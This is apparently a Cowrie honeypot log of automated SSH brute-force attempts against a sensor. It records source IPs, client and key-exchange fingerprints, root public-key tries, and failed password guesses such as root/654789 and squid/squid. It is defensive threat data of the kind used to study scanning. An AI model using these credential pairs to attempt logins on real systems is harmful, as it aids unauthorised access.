{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:42:4a:69:21:3c:85:69:7b:df:66:89:fa:c7:f4:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdSuENb2mTBGDARoe8zloHd3BqPTfPgfKR3wdJfxII1gLr6SYXMELIOS9DqXM5SB1un7kKGp+tBi/TB8Ogih5JIduo15zej/KQyj0GuFhz2e1EiY/qN9zCQLsWOf4FIBNrED2+DvucMlTmR8B2frSPxVRbPcd1V3MDCh1mac+lZ6CDKIXbIdudNGFEGxwrgGzNWrr80n6Es2Vxc7/T+j7D7Oqnl+1O+C+HGag1PZ5YWGEMjWQ9Ak5I4IZiWWp/FptYM25N9s6R5wozsvvisnp6Qm9x2cD5qQ0HU0jHhv8ZbBmRc2Z8s3zsMGCe1zYD2m5A6dF32dzpFJ/dIxvBChtV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:42:4a:69:21:3c:85:69:7b:df:66:89:fa:c7:f4:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.045437Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:42:4a:69:21:3c:85:69:7b:df:66:89:fa:c7:f4:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdSuENb2mTBGDARoe8zloHd3BqPTfPgfKR3wdJfxII1gLr6SYXMELIOS9DqXM5SB1un7kKGp+tBi/TB8Ogih5JIduo15zej/KQyj0GuFhz2e1EiY/qN9zCQLsWOf4FIBNrED2+DvucMlTmR8B2frSPxVRbPcd1V3MDCh1mac+lZ6CDKIXbIdudNGFEGxwrgGzNWrr80n6Es2Vxc7/T+j7D7Oqnl+1O+C+HGag1PZ5YWGEMjWQ9Ak5I4IZiWWp/FptYM25N9s6R5wozsvvisnp6Qm9x2cD5qQ0HU0jHhv8ZbBmRc2Z8s3zsMGCe1zYD2m5A6dF32dzpFJ/dIxvBChtV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.050653Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":48606,"dst_ip":"10.17.0.5","dst_port":22,"session":"81ede844c3c1","protocol":"ssh","message":"New connection: 103.172.78.219:48606 (10.17.0.5:22) [session: 81ede844c3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.072100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.079519Z","src_ip":"103.172.78.219","session":"81ede844c3c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:02:92:00:5b:67:13:59:35:7c:33:d1:e3:f5:90:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDva1vdN2YE5TiYNEQAf79EHQ7QyXhX7ybtUHE4RlpKHggUZ9evwXgEooF1AKlRY8kJrX6MwTOu8hxH0ox0auKUNX3OeLJKDDiV7PrR0RyU9jpUg8qwCOQxxcKhCvFFtc+Balpb0/cHjdIoe/nezXu9fgH7ii60DgIYemaxU46OQaMvRNB3geLNAJG3VyDQEPOOsiMre+ViTUXiD28wLir8GQliTJg9sAAeQVDvTBraRQCGXHGxcooMW0dX45HrWc1OGE/n5LrX3LhfRX5Y5jlOMyWttbWuBD6GWqqSa+q2Jf0w2KfQaObPoRDZwlOYWlKTpRaSticNvfGj/TVUfGfOkLj0XKUVgtneIVehd+Y39wmm0pyFoC8WfMr+s3h7B5jF/QmXSXz5Am7eoDb+fBSNCW2K2MUDVroodnl7UW+3Lbt4RzloqYLw5DC2OsUqBI5Po6VxVRBGoXA6/Bcis28kqyeBOibhB5+3xmCm1Cl37vc6W9MctRBJ0DE+eC7Ch20=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e2:02:92:00:5b:67:13:59:35:7c:33:d1:e3:f5:90:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.139936Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:02:92:00:5b:67:13:59:35:7c:33:d1:e3:f5:90:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDva1vdN2YE5TiYNEQAf79EHQ7QyXhX7ybtUHE4RlpKHggUZ9evwXgEooF1AKlRY8kJrX6MwTOu8hxH0ox0auKUNX3OeLJKDDiV7PrR0RyU9jpUg8qwCOQxxcKhCvFFtc+Balpb0/cHjdIoe/nezXu9fgH7ii60DgIYemaxU46OQaMvRNB3geLNAJG3VyDQEPOOsiMre+ViTUXiD28wLir8GQliTJg9sAAeQVDvTBraRQCGXHGxcooMW0dX45HrWc1OGE/n5LrX3LhfRX5Y5jlOMyWttbWuBD6GWqqSa+q2Jf0w2KfQaObPoRDZwlOYWlKTpRaSticNvfGj/TVUfGfOkLj0XKUVgtneIVehd+Y39wmm0pyFoC8WfMr+s3h7B5jF/QmXSXz5Am7eoDb+fBSNCW2K2MUDVroodnl7UW+3Lbt4RzloqYLw5DC2OsUqBI5Po6VxVRBGoXA6/Bcis28kqyeBOibhB5+3xmCm1Cl37vc6W9MctRBJ0DE+eC7Ch20=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.143887Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:71:48:af:ed:24:30:4b:3e:f7:88:3b:0b:98:8f:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA4TCdleQdmKc0dkgaG5HCtviqBXbNWHJ5zQxxZqeLcicDhwaKdg3OL2AFNJw0B5rF0YjLRXyCyLN4S0tf8wagXNARm5kfC0LItm6jXExIGADI8FTAWJxPDtvrfFfyirRV+qnBqbSLHESit3z5kMm7nM8Rpih4hkIPfH1hLEtanoY2NoghI6qsYzyFz1Db0GTGDmwPq4QPeZ1kHiMIx1dtj298upq9uisPqQaKAu5sl2Hoot5c1u6YmhgOJOoF6/eiXdYjYBLEfWpP6H6uRF5TKp7ukRabYtP7foOo6cUJqSsV8U6m1Us9tb0qlVGHDFHmngcj4wPvV0Z3qVThOk757+STpnxwWJObmJzb2+RXCsWpSrCCz0fSKWA8VNFxcOWZ4eFK/oYrYKm7fyLKcgx19coa1V2yVg3+xtNXfLlRldjeL8uYFLwxFcWArYK83LBTDleGLWniXsu89x1EQMfusFnf1XuFJOt4mb7c6tk5YsRqlO3nfBIR+EWhdhAOqZ7gr4jLeiz16bomPUuLU05m1citXTXvQSuq0iiFnTNwezHBc5Uqbc2KckPhjNRLK4TXwoT/0lu4Hu8W4wovxTJWD6c0++tojll1mo/2b1ICb/Kmpim+Ut5QbUzVT9EAdlDZPuVqHb6NvALUtsjoBMhjyCtrDLFqxGW3yfBx6+pYeu8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:71:48:af:ed:24:30:4b:3e:f7:88:3b:0b:98:8f:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.224844Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:71:48:af:ed:24:30:4b:3e:f7:88:3b:0b:98:8f:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA4TCdleQdmKc0dkgaG5HCtviqBXbNWHJ5zQxxZqeLcicDhwaKdg3OL2AFNJw0B5rF0YjLRXyCyLN4S0tf8wagXNARm5kfC0LItm6jXExIGADI8FTAWJxPDtvrfFfyirRV+qnBqbSLHESit3z5kMm7nM8Rpih4hkIPfH1hLEtanoY2NoghI6qsYzyFz1Db0GTGDmwPq4QPeZ1kHiMIx1dtj298upq9uisPqQaKAu5sl2Hoot5c1u6YmhgOJOoF6/eiXdYjYBLEfWpP6H6uRF5TKp7ukRabYtP7foOo6cUJqSsV8U6m1Us9tb0qlVGHDFHmngcj4wPvV0Z3qVThOk757+STpnxwWJObmJzb2+RXCsWpSrCCz0fSKWA8VNFxcOWZ4eFK/oYrYKm7fyLKcgx19coa1V2yVg3+xtNXfLlRldjeL8uYFLwxFcWArYK83LBTDleGLWniXsu89x1EQMfusFnf1XuFJOt4mb7c6tk5YsRqlO3nfBIR+EWhdhAOqZ7gr4jLeiz16bomPUuLU05m1citXTXvQSuq0iiFnTNwezHBc5Uqbc2KckPhjNRLK4TXwoT/0lu4Hu8W4wovxTJWD6c0++tojll1mo/2b1ICb/Kmpim+Ut5QbUzVT9EAdlDZPuVqHb6NvALUtsjoBMhjyCtrDLFqxGW3yfBx6+pYeu8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.229548Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:15:10:f2:2c:67:8d:77:f1:31:98:07:c3:47:56:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6aNgdvI2c9/nIuX6uu7fDxFcRYsTcYO7QT6TL1wODmeX2ggexpgzJIS1axZw7m4IdVctQvEOsP/mtE/v/vrqlTLKv124ONWwmK27Mk0TTT1wEWT1dXGuo6qwXszmPmfRYoWkEJOYqqGn6YvZtxLDOgikf+hp7wblR+oJ1VGTwz7SDsRAtqUo2vMx4tGBnP60s+ZM3nCnRdwDsHQ2g8sVFktYo9BkHtWWT8EejNBL/FGs1SRzgiJBPkEhsLvdaBmKU4QuJuEsdyeSZoH85GqX3NBUFQx1F7psSJoovRHgXpGAG09IHU2vg45ZL5dhBweZ8YGt4W9KqZxGlQRbEDC7rgnJ4Y3oRNtFig+3kpfHGXevy2I5BzpgSLiWAsvI7EPNHaDOS+uRyOlLuNEMJU762PSQW5UFS8JxB8XTdfZ8dn5eZQyQO9zM1Gv95lDq5XpTZxhZNZvd6wjeko7KRnmwk9rwCIq0Xz08jZELU9ireano7vvFBH7VnNb4SkRpqLZEF7wBV4Etl77AL1H+0IK2biNjA15WTLymBd4Ak6HhKH1YXCsFzokSEtM2A1WhTyvYWkHctL/I+o0dCp61QKZNnlrdnkDXugM+WjmhbCdZzPUByLvWkNiKCsuUKBaywQjC2S1igvtXTBPOIGxnhEfU72eDHBLNqcsVivk4Tj05+IQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:15:10:f2:2c:67:8d:77:f1:31:98:07:c3:47:56:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.305693Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:15:10:f2:2c:67:8d:77:f1:31:98:07:c3:47:56:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6aNgdvI2c9/nIuX6uu7fDxFcRYsTcYO7QT6TL1wODmeX2ggexpgzJIS1axZw7m4IdVctQvEOsP/mtE/v/vrqlTLKv124ONWwmK27Mk0TTT1wEWT1dXGuo6qwXszmPmfRYoWkEJOYqqGn6YvZtxLDOgikf+hp7wblR+oJ1VGTwz7SDsRAtqUo2vMx4tGBnP60s+ZM3nCnRdwDsHQ2g8sVFktYo9BkHtWWT8EejNBL/FGs1SRzgiJBPkEhsLvdaBmKU4QuJuEsdyeSZoH85GqX3NBUFQx1F7psSJoovRHgXpGAG09IHU2vg45ZL5dhBweZ8YGt4W9KqZxGlQRbEDC7rgnJ4Y3oRNtFig+3kpfHGXevy2I5BzpgSLiWAsvI7EPNHaDOS+uRyOlLuNEMJU762PSQW5UFS8JxB8XTdfZ8dn5eZQyQO9zM1Gv95lDq5XpTZxhZNZvd6wjeko7KRnmwk9rwCIq0Xz08jZELU9ireano7vvFBH7VnNb4SkRpqLZEF7wBV4Etl77AL1H+0IK2biNjA15WTLymBd4Ak6HhKH1YXCsFzokSEtM2A1WhTyvYWkHctL/I+o0dCp61QKZNnlrdnkDXugM+WjmhbCdZzPUByLvWkNiKCsuUKBaywQjC2S1igvtXTBPOIGxnhEfU72eDHBLNqcsVivk4Tj05+IQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.310672Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.349303Z","src_ip":"103.172.78.219","session":"81ede844c3c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:45:09:89:62:93:d4:ef:e2:a7:22:91:de:32:99:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvjLuByo8trztsRBfnc4TZgpKxkwB/WKWgSDfG8yIuTybQHjj+yY4EROXjAo3nXBE+cd4MaC0vq6+aE9UnNaBhKrVK47Ke1DP3H6kyPLeRRgsEpMOfDj1Ez60f8Pdr+8shVEvF/sXY43AabhGxAiepeumaPQh0ZVs9pTk785oDR9FFnPCwTvskE3pQQuHj+T6+QncsTI70fkBMoqd7BDPONRis5CGbk0IuNnm9Cn5SlDRGE+hSNrIF3yh1Big/sQGUBEtjtPtRjChRYtVh9bTDKZgJSFx9QEpxgA+0pSnwpFN1snj5lBIN1ctoEvdyuGOHAQ7GNVU/P6Yms3Jea+q9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:45:09:89:62:93:d4:ef:e2:a7:22:91:de:32:99:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.386657Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:45:09:89:62:93:d4:ef:e2:a7:22:91:de:32:99:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvjLuByo8trztsRBfnc4TZgpKxkwB/WKWgSDfG8yIuTybQHjj+yY4EROXjAo3nXBE+cd4MaC0vq6+aE9UnNaBhKrVK47Ke1DP3H6kyPLeRRgsEpMOfDj1Ez60f8Pdr+8shVEvF/sXY43AabhGxAiepeumaPQh0ZVs9pTk785oDR9FFnPCwTvskE3pQQuHj+T6+QncsTI70fkBMoqd7BDPONRis5CGbk0IuNnm9Cn5SlDRGE+hSNrIF3yh1Big/sQGUBEtjtPtRjChRYtVh9bTDKZgJSFx9QEpxgA+0pSnwpFN1snj5lBIN1ctoEvdyuGOHAQ7GNVU/P6Yms3Jea+q9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.395085Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:30.474360Z","src_ip":"164.90.156.35","session":"9daccfa1dbcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"654789","message":"login attempt [root/654789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:31.147267Z","src_ip":"103.172.78.219","session":"81ede844c3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:32.413890Z","src_ip":"103.172.78.219","session":"81ede844c3c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":49018,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4f79a644ea5","protocol":"ssh","message":"New connection: 20.203.42.204:49018 (159.203.135.109:22) [session: f4f79a644ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:34.571652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:34.576335Z","src_ip":"20.203.42.204","session":"f4f79a644ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:34.820194Z","src_ip":"20.203.42.204","session":"f4f79a644ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ken","password":"ken","message":"login attempt [ken/ken] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:35.642196Z","src_ip":"20.203.42.204","session":"f4f79a644ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:36.816402Z","src_ip":"20.203.42.204","session":"f4f79a644ea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":36554,"dst_ip":"159.203.135.109","dst_port":22,"session":"4734fc98ddb3","protocol":"ssh","message":"New connection: 121.168.139.251:36554 (159.203.135.109:22) [session: 4734fc98ddb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:40.845408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:40.849325Z","src_ip":"121.168.139.251","session":"4734fc98ddb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:41.048957Z","src_ip":"121.168.139.251","session":"4734fc98ddb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser","password":"123","message":"login attempt [vpnuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:41.879444Z","src_ip":"121.168.139.251","session":"4734fc98ddb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:43.083663Z","src_ip":"121.168.139.251","session":"4734fc98ddb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"squid","message":"login attempt [squid/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:46.975070Z","src_ip":"116.110.158.146","session":"7a4ed64fa8a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":46310,"dst_ip":"10.17.0.5","dst_port":22,"session":"c89675581087","protocol":"ssh","message":"New connection: 94.159.98.239:46310 (10.17.0.5:22) [session: c89675581087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:54.117900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:54.460567Z","src_ip":"94.159.98.239","session":"c89675581087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:54.465158Z","src_ip":"94.159.98.239","session":"c89675581087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marker","message":"login attempt [root/marker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:55.699048Z","src_ip":"94.159.98.239","session":"c89675581087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:58:56.873003Z","src_ip":"94.159.98.239","session":"c89675581087","protocol":"ssh"}
